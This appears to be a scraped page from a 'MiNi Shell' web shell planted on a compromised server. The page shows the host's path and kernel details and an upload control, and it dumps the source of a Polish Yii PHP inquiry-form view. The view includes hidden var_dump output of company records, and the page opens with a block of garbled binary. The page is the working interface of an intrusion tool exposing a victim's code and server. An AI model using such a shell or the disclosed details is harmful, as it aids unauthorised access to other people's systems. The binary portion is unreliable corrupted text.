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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/views/zapytania/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/views/zapytania/ask_question_old.php

<?php

use yii\helpers\Html;
use yii\helpers\Url;
use yii\helpers\ArrayHelper;
use yii\bootstrap\ActiveForm;
use yii\captcha\Captcha;
use kartik\widgets\FileInput;
use yii\web\JsExpression;
use common\models\CompaniesPresentations;
use common\models\Products;
use common\models\Countries;
use common\models\Companies;
use common\models\types\Status;
use frontend\assets\SelectAsset;

SelectAsset::register($this);

/* @var $this yii\web\View */
/* @var $modelForm frontend\models\InquiryForm */
/* @var $modelsAddresses common\models\UsersAddresses[] */
/* @var $model common\models\Products|common\models\CompaniesPresentations|null */

$this->title = 'vManager - zadaj pytanie';
$this->params['breadcrumbs'][] = ['label' => 'Zapytania ofertowe', 'url' => ['zapytania/index']];
$this->params['breadcrumbs'][] = 'Zadaj pytanie';

$this->registerJs(
    '
    $("#ezo-form input[name=\"InquiryForm[or_company]\"]").on("click", function() {
        if($(this).val() == 0) {
            $("div.only-company-field").hide();
            //$("#addresses-list").hide();
        } else {
            var idCompany = $("#ezo-form input[name=\"InquiryForm[id_company]\"]:checked").val();
            if(!idCompany) {
                clearContactDataFields();
            }
            $("div.only-company-field").show();
            $("[data-sender-type=\"company\"]").first().trigger("click");
        }
    });
    
    if($("#ezo-form input[name=\"InquiryForm[or_company]\"]:checked")) {
        if($(this).val() == 0) {
            $("div.only-company-field").hide();
            //$("#addresses-list").hide();
        } else {
            $("div.only-company-field").show();
            $("[data-sender-type=\"company\"]").first().trigger("click");
        }
    }
    
    var populateForm = function(data) {
        if(data.status === true) {
            $("#addresses-list .dropdown-menu").html("");
            for(var p in data) {
                var field = $("#ezo-form input[name=\"InquiryForm["+p+"]\"]");
                if(field !== undefined) {
                    field.val(data[p]);
                }        
            }
            if(data.addresses !== undefined && data.addresses.length > 1) {
                var htmlCode = "";
                for(var i = 0, len = data.addresses.length; i < len; i++) {                    
                    htmlCode += "<li><a><span data-field=\"street\">"+data.addresses[i].street+"</span>";
                    htmlCode += " <span data-field=\"building_number\">"+data.addresses[i].building_number+"</span>";
                    if(data.addresses[i].apartment_number) {
                        htmlCode += "/<span data-field=\"apartment_number\">"+data.addresses[i].apartment_number+"</span>";
                    }
                    htmlCode += ", <span data-field=\"postcode\">"+data.addresses[i].postcode+"</span>";
                    htmlCode += " <span data-field=\"locality\">"+data.addresses[i].locality+"</span>";
                    htmlCode += "<br>";
                    if(data.addresses[i].region) {
                        htmlCode += "<span data-field=\"region\">"+data.addresses[i].region+"</span>, ";
                    }
                    htmlCode += "<span>"+data.addresses[i].country_name+"</span>";
                    htmlCode += "<span style=\"display: none;\" data-field=\"id_country\">"+data.addresses[i].id_country+"</span></a></li>";
                    if((i+1) !== len) {
                        htmlCode += "<li role=\"separator\" class=\"divider\"></li>"; };
                }
                $("#addresses-list .dropdown-menu").html(htmlCode);
                $("#addresses-list").show();

                $("#addresses-list .dropdown-menu li a").css({"cursor":"pointer"}).on("mousedown", function() {
                    $.each($(this).children(),function() {
                        var field = $(this).data("field");
                        if(field)$("#ezo-form input[name=\"InquiryForm["+field+"]\"]").val($(this).text());
                    });
                });

            }
        }
    }
    
    var clearContactDataFields = function() {
        $("#ezo-form input[name=\"InquiryForm[forename]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[surname]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[company_name]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[tax_id]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[postcode]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[region]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[locality]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[street]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[building_number]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[apartment_number]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[email_1]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[phone_1]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[email_2]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[phone_2]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[fax]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[fb]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[www]\"]").val("");
        $("#ezo-form input[name=\"InquiryForm[skype]\"]").val("");
        $("#addresses-list .dropdown-menu").html("");
        $("#addresses-list").hide();
    }
    
    $(".sender-type").on("click", function() {
        var
            id = null,
            orSend = false;
            senderType = $(this).data("sender-type"),
            idCompany = $(this).data("id-company");

            
        if(idCompany) {
            id = idCompany;
            orSend = true;
        } else if(senderType == "user") {
            orSend = true;
        } else { 
            clearContactDataFields();
        }

        if(orSend = true) {
            var jqxhr = $.ajax({url: "/zapytania/dane-skladajacego", method: "get", dataType: "json", data: {id: id, type: senderType}})
                    .done(function(data) {
                        populateForm(data);
                    })
                    .fail(function() {
                        console.log("zjebało się");
                    });
        }
    });    
    '
);

$countriesList = ArrayHelper::map(Countries::find()->orderBy('name')->asArray()->all(), 'id_country', 'name');

$userCompanies = [];
if(!empty($modelForm->id_user)) {
    $modelsUserCompanies = Companies::find()->where(['id_user' => $modelForm->id_user, 'status' => Status::ACTIVE])->orderBy('name')->all();
    if(!empty($modelsUserCompanies)) {        
        foreach($modelsUserCompanies as $modelUserCompany) {
            $userCompanies[$modelUserCompany->id_company] = $modelUserCompany->name;
        }
    }
}

$idUser = $modelForm->id_user;
?>



<div class="container">
    <div class="row tab-row">
        <div class="col-md-9 pt08 tab-cell"> 
            <h2 class="header portal-color portal-light-background">
                <span class="portal-border"><?= Yii::t('frontend', 'Zadaj pytanie') ?></span>
            </h2>  

            <?php if(Yii::$app->session->hasFlash('error')): ?>
                <div class="alert alert-danger text-left col-md-8 col-md-push-2" role="alert">
                    <?= Yii::$app->session->getFlash('error')[0]; ?>
                </div>
            <?php endif; ?>
            <?php if(Yii::$app->session->hasFlash('confirm')): ?>
                <div class="alert alert-info text-left col-md-8 col-md-push-2" role="alert">
                    <?= Yii::$app->session->getFlash('confirm')[0]; ?>
                </div>
            <?php endif; ?>

            <div class="text-center strong mt1 mb1">Przedmiot zapytania</div>
            <?php if(!empty($model)): ?>
                <?php if($model instanceof \common\models\Products): ?>
                    <?= Html::encode($model->name) ?>
                <?php elseif($model instanceof \common\models\CompaniesPresentations): ?>
                    <?= Html::encode($model->company->name) ?>
                <?php endif; ?>
            <?php else: ?>
                <?= Yii::t('frontend', 'Nie wybrano') ?>
            <?php endif; ?>

            <?php $form = ActiveForm::begin([
                'id' => 'ezo-form',
                'method' => 'post',
                'enableAjaxValidation' => true,
                'enableClientValidation' => true,
                'validateOnSubmit' => true,
                'validateOnChange' => false,
                'validateOnType' => false,
                'options' => [
                    'enctype' => 'multipart/form-data',
                    'class' => 'col-xs-12 form-horizontal'
                ],
            ]); ?>

                <div class="text-center strong portal-color mb1">Zapytanie składa</div>

                <?= $form->field($modelForm, 'or_company', [
                    'template' => "<div class=\"col-sm-10 col-sm-push-1\">{input}</div>\n{hint}\n{error}",
                    'options' => ['class' => 'form-group row'],
                    'inputOptions' => ['class' => 'col-sm-10 col-sm-push-1']
                ])->radioList(
                    [
                        '0' => 'osoba prywatna', 
                        '1' => 'firma'
                    ],
                    [
                        'item' => function ($index, $label, $name, $checked, $value) use($idUser, $userCompanies) {
                            $dataPart = '';
                            $additionalClass = '';
                            if(intval($value) === 0) {
                                $dataPart = ' data-sender-type="user"';
                                $additionalClass = ' sender-type';
                            } elseif(count($userCompanies) === 1) {
                                $dataPart = ' data-id-company="'.key($userCompanies).'" data-sender-type="company"';
                                $additionalClass = ' sender-type';
                            }

                            $output = '<div>';
                            $output .= '<input type="radio" name="'.$name.'" value="'.$value.'" id="radio_is_asking_'.($index+1).'"'.($checked ? ' checked' : '').' class="radio'.$additionalClass.'"'.$dataPart.'><label for="radio_is_asking_'.($index+1).'"></label>';
                            $output .= ' '.$label;
                            $output .= '</div>';

                            return $output;
                        }
                    ]
                ) ?>

                <?php if(!empty($userCompanies)): ?>
                    <?php if(empty($modelForm->id_company)) { $modelForm->id_company = ''; } ?>
                    <?= $form->field($modelForm, 'id_company', [
                        'template' => "<div class=\"col-sm-10 col-sm-push-1 only-company-field\">{input}</div>\n{hint}\n{error}",
                        'options' => ['class' => 'form-group row'],
                        'inputOptions' => ['class' => 'col-sm-10 col-sm-push-1']
                    ])->radioList(
                        $userCompanies + ['' => 'Inna ...'],
                        [
                            'item' => function ($index, $label, $name, $checked, $value) {
                                $output = '<div>';
                                $output .= '<input type="radio" name="'.$name.'" value="'.$value.'" id="radio_company_name_'.($index+1).'"'.($checked ? ' checked' : '').' class="radio sender-type" data-id-company="'.$value.'" data-sender-type="company"><label for="radio_company_name_'.($index+1).'"></label>';
                                $output .= ' '.$label;
                                $output .= '</div>';

                                return $output;
                            }
                        ]
                    ) ?>

                    <?php foreach($modelsUserCompanies as $modelUserCompany): ?>
                        <div style="display: none">
                            <?php var_dump($modelUserCompany); ?>
                        </div>
                    <?php endforeach; ?>

                <?php endif; ?>

                <div class="form-group row">
                    <label for="inquiryform-forename" class="col-sm-3 control-label required"><?= $modelForm->getAttributeLabel('forename') ?> i <?= $modelForm->getAttributeLabel('surname') ?>:</label>
                    <?= $form->field($modelForm, 'forename', [
                        'options' => ['class' => 'col-sm-3'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'Jan']) ?>
                    <?= $form->field($modelForm, 'surname', [
                        'options' => ['class' => 'col-sm-4'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'Kowalski']) ?>
                </div>

                <?= $form->field($modelForm, 'company_name', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row only-company-field'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?>    

                <?= $form->field($modelForm, 'tax_id', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row only-company-field'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?>    

                <?= $form->field($modelForm, 'email_1', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?>

                <?= $form->field($modelForm, 'phone_1', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?> 

                <div class="form-group row">
                    <label for="inquiryform-id_country" class="col-sm-3 control-label required"><?= $modelForm->getAttributeLabel('id_country') ?>, <?= $modelForm->getAttributeLabel('region') ?>:</label>
                    <?= $form->field($modelForm, 'id_country', [
                        'options' => ['class' => 'col-sm-3'],
                        'enableLabel' => false
                    ])->dropDownList($countriesList, ['class' => 'form-control selectpicker', 'data' => ['live-search' => true], 'title' => Yii::t('frontend', 'Wybierz...')]) ?>
                    <?= $form->field($modelForm, 'region', [
                        'options' => ['class' => 'col-sm-4'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => '']) ?>
                </div>

                <div class="form-group row">
                    <label for="inquiryform-postcode" class="col-sm-3 control-label required"><?= $modelForm->getAttributeLabel('postcode') ?>, <?= $modelForm->getAttributeLabel('locality') ?>:</label>
                    <?= $form->field($modelForm, 'postcode', [
                        'options' => ['class' => 'col-sm-2'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => '00-489']) ?>
                    <?= $form->field($modelForm, 'locality', [
                        'options' => ['class' => 'col-sm-5'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'Warszawa']) ?>
                </div>

                <div class="form-group row">
                    <label for="inquiryform-street" class="col-sm-3 control-label required"><?= Yii::t('frontend', 'Adres') ?>:</label>
                    <?= $form->field($modelForm, 'street', [
                        'options' => ['class' => 'col-sm-5'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => '']) ?>
                    <?= $form->field($modelForm, 'building_number', [
                        'options' => ['class' => 'col-sm-1 nopadding after-content', 'title' => '/'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'nr']) ?>
                    <?= $form->field($modelForm, 'apartment_number', [
                        'options' => ['class' => 'col-sm-1'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => '']) ?>
                </div>    

                <div id="addresses-list"<?php if(count($modelsAddresses) < 2): ?> style="display: none"<?php endif; ?> class="form-group row">
                    <label for="" class="col-sm-3 control-label">Zapisane adresy:</label>
                    <div class="col-sm-1">
                        <div class="btn-group dropup">
                            <button type="button" class="btn btn-primary dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                            Wybierz &nbsp; <span class="caret"></span>
                            </button>  
                            <ul class="dropdown-menu">
                                <?php if(count($modelsAddresses) > 1): ?>
                                    <?php foreach($modelsAddresses as $modelAddress): ?>
                                        <li>
                                            <a style="cursor: pointer;">
                                                <span data-field="street"><?= $modelAddress->street ?></span> 
                                                <span data-field="building_number"><?= $modelAddress->building_number ?></span><?php if(!empty($modelAddress->apartment_number)): ?>/<span data-field="apartment_number"><?= $modelAddress->apartment_number ?></span><?php endif; ?> 
                                                <span data-field="postcode"><?= $modelAddress->postcode ?></span> <span data-field="locality"><?= $modelAddress->locality ?></span><br>
                                                <span data-field="region"><?= $modelAddress->region ?></span><span style="display: none;" data-field="id_country"><?= $modelAddress->id_country ?></span>
                                            </a>
                                        </li>
                                    <?php endforeach; ?>
                                <?php endif; ?>
                            </ul>
                        </div>
                    </div>
                </div>

                <div class="form-group row">
                    <label for="" class="col-sm-3 control-label"></label>
                    <div class="col-sm-7" style="margin-top:6px;">
                        <span data-toggle="collapse" href="#additional-contact" aria-expanded="false">
                            <input type="checkbox" name="check" value="1" id="additional-contact-check" class="check"><label for="additional-contact-check"></label>
                            Dodatkowe dane kontaktowe
                        </span>
                    </div>
                </div>
                <div class="collapse" id="additional-contact">
                    <?= $form->field($modelForm, 'phone_2', [
                        'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                        'options' => ['class' => 'form-group row'], 
                        'labelOptions' => ['class' => 'col-sm-3 control-label'],
                    ])->textInput(['maxlength' => true]) ?>   
                    <?= $form->field($modelForm, 'fax', [
                        'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                        'options' => ['class' => 'form-group row only-company-field'], 
                        'labelOptions' => ['class' => 'col-sm-3 control-label'],
                    ])->textInput(['maxlength' => true]) ?>      
                    <?= $form->field($modelForm, 'email_2', [
                        'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                        'options' => ['class' => 'form-group row'], 
                        'labelOptions' => ['class' => 'col-sm-3 control-label'],
                    ])->textInput(['maxlength' => true]) ?>  
                    <?= $form->field($modelForm, 'www', [
                        'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                        'options' => ['class' => 'form-group row only-company-field'], 
                        'labelOptions' => ['class' => 'col-sm-3 control-label'],
                    ])->textInput(['maxlength' => true, 'placeholder' => 'http://www.adres-strony.pl']) ?>  
                    <?= $form->field($modelForm, 'skype', [
                        'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                        'options' => ['class' => 'form-group row'], 
                        'labelOptions' => ['class' => 'col-sm-3 control-label'],
                    ])->textInput(['maxlength' => true]) ?>  
                    <?= $form->field($modelForm, 'fb', [
                        'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                        'options' => ['class' => 'form-group row'], 
                        'labelOptions' => ['class' => 'col-sm-3 control-label'],
                    ])->textInput(['maxlength' => true]) ?>   
                </div>

                <div class="text-center strong portal-color mb1">Tutaj wpisz treść swojego zapytania.</div>

                <small class="help-block text-center">(Im więcej podasz informacji o parametrach produktu tym szybciej firma będzie mogła odpowiedzieć na Twoje zapytanie)</small>

                <?= $form->field($modelForm, 'content', [
                    'template' => "{label}\n<div class=\"col-sm-12\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'inputOptions' => ['class' => 'form-control noresize'],
                ])->textarea(['rows' => 10])->label(false) ?> 

                <?php 
                    echo $form->field($modelForm, 'attachments[]', [
                        'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div><span class=\"btn btn-default portal-button-info pull-left nomargin\" data-container=\"body\" data-toggle=\"popover\" data-placement=\"right\" data-content=\"maks. 4MB jeden załącznik\">?</span>{hint}\n",
                        'options' => ['class' => 'form-group row'], 
                        'labelOptions' => ['class' => 'col-sm-3 control-label'],
                    ])->widget(FileInput::classname(), [
                        'options' => [
//                            'accept' => 'image/*',
                            'multiple' => true
                        ],
                        'pluginOptions' => [
                            'showUpload' => false,
                            'browseLabel' => '',
                            'removeTitle' => Yii::t('frontend', 'Usuń'),
                            'removeLabel' => '',
//                            'allowedFileExtensions' => '["jpg", "png", "gif", "pdf", "zip", "doc"]',
                        ],
                    ]); 
                ?>                -->

                <div class="text-center strong portal-color mb1">Weryfikacja</div>

                <?= $form->field($modelForm, 'captcha', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>\n{hint}",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->widget(Captcha::className(), [
                    'captchaAction' => 'index/captcha',
                    'template' => '<div class="row"><div class="col-sm-4">{image}</div><div class="col-sm-8">{input}</div></div>'
                ]); ?>

                <!--<div class="text-center"><div class="g-recaptcha" data-sitekey="6Le7-icUAAAAAAV8PY6_s1YK8KC6YOcHLAaAZ54c"></div></div>-->

                <?= $form->field($modelForm, 'accept_rules', ['options' => ['class' => 'form-group row']])->begin(); ?>
                    <label for="" class="col-sm-3 control-label"></label>
                    <div class="col-sm-7" style="margin-top: 6px;">
                        <?= Html::checkbox('InquiryForm[acccept_rules]', $modelForm->accept_rules ? true : false, ['id' => 'inquiryform-accept_rules', 'class' => 'check']) ?>
                        <label for="inquiryform-accept_rules"></label>
                        Wysyłanie zapytania oznacza akceptację <a href="#"><strong>regulaminu</strong></a>.
                        <?= Html::error($modelForm, 'accept_rules', ['tag' => 'p', 'class' => 'help-block help-block-error']); ?>
                    </div>
                <?= $form->field($modelForm, 'name')->end(); ?>

                <div class="form-group row">
                    <div class="col-sm-6 col-sm-push-3">
                        <button class="form-control btn btn-default btn-ezo noradius">
                            <span class="pull-left"></span>
                            <span class="text-left"><strong>Wyślij zapytanie ofertowe</strong><br>i czekaj na atrakcyjne oferty</span>
                        </button>                      
                    </div>
                </div>

            <?php ActiveForm::end(); ?>

            <div class="clearfix"></div>
        </div>
        <div class="col-md-3 pt08 tab-right text-center">
            <?= $this->render('//shared/_right_sidebar', ['bannerClass' => 'inline mb05']); ?>
        </div>          
        
    </div>
</div>


Creat By MiNi SheLL
Email: jattceo@gmail.com